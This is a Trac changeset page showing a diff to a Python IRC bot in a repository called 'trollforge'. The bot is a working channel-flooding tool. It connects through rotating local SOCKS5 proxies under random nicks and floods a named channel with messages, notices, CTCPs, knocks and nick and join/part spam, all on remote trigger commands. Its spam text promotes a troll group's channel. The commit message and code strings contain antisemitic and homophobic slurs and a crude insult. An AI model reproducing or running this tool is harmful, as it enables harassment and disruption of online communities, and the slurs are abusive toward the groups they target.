Changeset 330 for trollforge


Ignore:
Timestamp:
04/08/10 22:31:00 (3 years ago)
Author:
rucas
Message:

I FUCKED YOUR WIFE. UME SUX

File:
1 edited

Legend:

Unmodified
Added
Removed
  • trollforge/rucas/stupid/bot.py

    r327 r330  
    88from threading import Thread 
    99 
    10 network = '193.219.39.203' 
     10network = 'irc.buttes.org' 
    1111port = 6667  
    12 channel = '#nepal' 
    13 message = 'ATTENTION: '+channel+' HAS NOW MOVED TO ---> irc.hardchats.com #gnaa <---' 
    14 key = 'loljews' # note: you do not need to blank this out if the channel does not have a key set 
     12channel = '#GAPP' 
     13message = '/!\\ BREAKING NEWS /!\\   ' + channel + ' IS MOVING TO   --->  IRC.HARDCHATS.COM #GNAA  <---   IMMEDIATELY' 
    1514register = 0 
    1615registerdelay = 30 
    17 messagecount = 5 # the number of messages/notices/ctcps to attempt to send before spamming nick and join/parting 
    1816join = 1 
    1917knock =1  
     
    6159        break 
    6260      s += c 
    63     if s.strip('\r\n') != '': 
    64       print s.strip('\r\n') 
    6561    return s.strip('\r\n') 
    6662 
    6763  def run(self): 
    68     try: 
    69       global joinpart 
    70       global nickspam 
    71       global chat 
    72       global action 
    73       global pmsg 
    74       global ctcp 
    75       global notice 
    76       global knock 
    77       global join 
    78       global message 
    79    
    80       nick='' 
    81       self.joined=0 
    82       for x in random.sample(alphabet,random.randint(2,maxletters)): 
    83         nick+=x 
    84       self.irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM ) 
    85       self.irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) ) 
    86       self.irc.connect ( ( network, port ) ) 
    87        
    88       self.irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' ) 
    89       self.irc.send ( 'NICK ' + nick + self.seed + '\r\n' ) 
    90       if register == 1: 
    91         time.sleep ( registerdelay ) 
    92         self.irc.send ( 'PRIVMSG nickserv :REGISTER faggot' + self.seed + ' ' + nick + self.seed + '@fasfa' + self.seed + '.com\r\n' )  
    93       while 1: 
    94         line = self.lrecv() 
    95         if line.find ( 'PING' ) != -1: 
    96           self.irc.send ( 'PONG ' + line.split() [ 1 ] + '\r\n' ) 
    97         if line.find ( '001' ) != -1: 
    98           break 
    99       self.irc.send ( 'JOIN ' + channel + '\r\n' ) 
    100       self.spamcount = 0 
    101       while 1: 
    102         data=self.lrecv() 
    103         if data.find ( 'PING' ) != -1: 
    104           self.irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' ) 
    105         if data.find ( '404' ) != -1: 
    106           self.joined = 0 
    107         if knock == 1: 
    108           self.irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' ) 
     64    global joinpart 
     65    global nickspam 
     66    global chat 
     67    global action 
     68    global pmsg 
     69    global ctcp 
     70    global notice 
     71    global knock 
     72    global join 
     73    global message 
     74 
     75    nick='' 
     76    self.joined=0 
     77    for x in random.sample(alphabet,random.randint(2,maxletters)): 
     78      nick+=x 
     79    self.irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM ) 
     80    self.irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) ) 
     81    self.irc.connect ( ( network, port ) ) 
     82     
     83    self.irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' ) 
     84    self.irc.send ( 'NICK ' + nick + self.seed + '\r\n' ) 
     85    if register == 1: 
     86      time.sleep ( registerdelay ) 
     87      self.irc.send ( 'PRIVMSG nickserv :REGISTER faggot' + self.seed + ' ' + nick + self.seed + '@fasfa' + self.seed + '.com\r\n' )  
     88    while 1: 
     89      line = self.lrecv() 
     90      if line.find ( 'PING' ) != -1: 
     91        self.irc.send ( 'PONG ' + line.split() [ 1 ] + '\r\n' ) 
     92      if line.find ( '001' ) != -1: 
     93        break 
     94    self.irc.send ( 'JOIN ' + channel + '\r\n' ) 
     95    self.spamcount = 0 
     96    while 1: 
     97      data=self.lrecv() 
     98      if data.find ( 'PING' ) != -1: 
     99        self.irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' ) 
     100      if data.find ( '404' ) != -1: 
     101        self.joined = 0 
     102      if data.find ( '+i' ) != -1: 
     103        knock = 1 
     104      if knock == 1: 
     105        self.irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' ) 
     106        time.sleep ( .5 ) 
     107      if data.find ( 'newmsg ' ) != -1: 
     108        message = data.split() [ 1 ] 
     109      if data.find ( 'startnickspam' ) != -1: 
     110        join = 1 
     111        nickspam = 1 
     112      if data.find ( 'startjoinpart' ) != -1: 
     113        join = 1 
     114        joinpart = 1 
     115      if data.find ( 'stopnickspam' ) != -1: 
     116        nickspam = 0 
     117      if data.find ( 'stopjoinpart' ) != -1: 
     118        joinpart = 0 
     119      if data.find ( 'startchat' ) != -1: 
     120        chat = 1      
     121      if data.find ( 'stopchat' ) != -1: 
     122        chat = 0 
     123      if data.find ( 'startpmsg' ) != -1: 
     124        chat = 1      
     125        pmsg = 1 
     126      if data.find ( 'stoppmsg' ) != -1: 
     127        pmsg = 0 
     128      if data.find ( 'startctcp' ) != -1: 
     129        chat = 1      
     130        ctcp = 1 
     131      if data.find ( 'stopctcp' ) != -1: 
     132        ctcp = 0 
     133      if data.find ( 'startnotice' ) != -1: 
     134        chat = 1      
     135        notice = 1 
     136      if data.find ( 'stopnotice' ) != -1: 
     137        notice = 0 
     138      if data.find ( 'startknock' ) != -1: 
     139        knock = 1 
     140        join = 0 
     141      if data.find ( 'stopknock' ) != -1: 
     142        knock = 0 
     143      if data.find ( 'startjoin' ) != -1: 
     144        join = 1 
     145        knock = 0 
     146      if data.find ( 'stopjoin' ) != -1: 
     147        join = 0 
     148      if self.joined == 0: 
     149        if join == 1: 
     150          self.irc.send ( 'JOIN ' + channel + '\r\n' ) 
     151          self.joined = 1 
    109152          time.sleep ( .5 ) 
    110         if self.joined == 0: 
    111           if join == 1: 
    112             self.irc.send ( 'JOIN ' + channel + ': '+key+'\r\n' ) 
    113             self.joined = 1 
    114             time.sleep ( .5 ) 
    115         if self.joined == 1: 
    116           knock = 0 
    117           if chat == 1: 
     153      if self.joined == 1: 
     154        knock = 0 
     155        self.spamcount += 1 
     156        if chat == 1: 
     157          loljews = random.randint(1,4) 
     158          if loljews == 1: 
    118159            if pmsg == 1: 
    119160              self.irc.send ( 'PRIVMSG ' + channel + ' :' + message + '\007\r\n' ) 
    120               self.spamcount += 1 
     161          if loljews == 2: 
    121162            if notice == 1: 
    122163              self.irc.send ( 'NOTICE ' + channel + ' :' + message + '\007\r\n' ) 
    123               self.spamcount += 1 
     164          if loljews == 3: 
    124165            if ctcp == 1: 
    125166              self.irc.send ( 'PRIVMSG ' + channel + ' :\001VERSION ' + message + '\007\001\r\n' ) 
    126               self.spamcount += 1 
     167          if loljews == 4: 
    127168            if action == 1: 
    128169              self.irc.send ( 'PRIVMSG ' + channel + ' :\001ACTION ' + message + '\007\001\r\n' ) 
    129               self.spamcount += 1 
    130           if self.spamcount == messagecount: 
    131             if nickspam == 1: 
    132               nick='' 
    133               for x in random.sample(alphabet,random.randint(2,maxletters)): 
    134                 nick+=x 
    135               self.irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n') 
    136             if joinpart == 1:     
    137               self.irc.send ( 'PART ' + channel + ' :' + message + '\007\r\n' ) 
    138               nick='' 
    139               for x in random.sample(alphabet,random.randint(2,maxletters)): 
    140                 nick+=x 
    141               self.irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')  
    142               self.joined = 0 
    143             self.spamcount = 0 
    144           time.sleep ( .5 ) 
    145     except: 
    146       time.sleep (0) 
     170        if self.spamcount == 5: 
     171          if nickspam == 1: 
     172            nick='' 
     173            for x in random.sample(alphabet,random.randint(2,maxletters)): 
     174              nick+=x 
     175            self.irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n') 
     176          if joinpart == 1:     
     177            self.irc.send ( 'PART ' + channel + ' :' + message + '\007\r\n' ) 
     178            self.joined = 0 
     179          self.spamcount = 0 
     180        time.sleep ( .5 ) 
    147181 
    148182def spawn(): 
     183  #time.sleep(10) 
    149184  while True: 
    150185    bot_instance = bot(str(random.randint(1,9999))) 
Note: See TracChangeset for help on using the changeset viewer.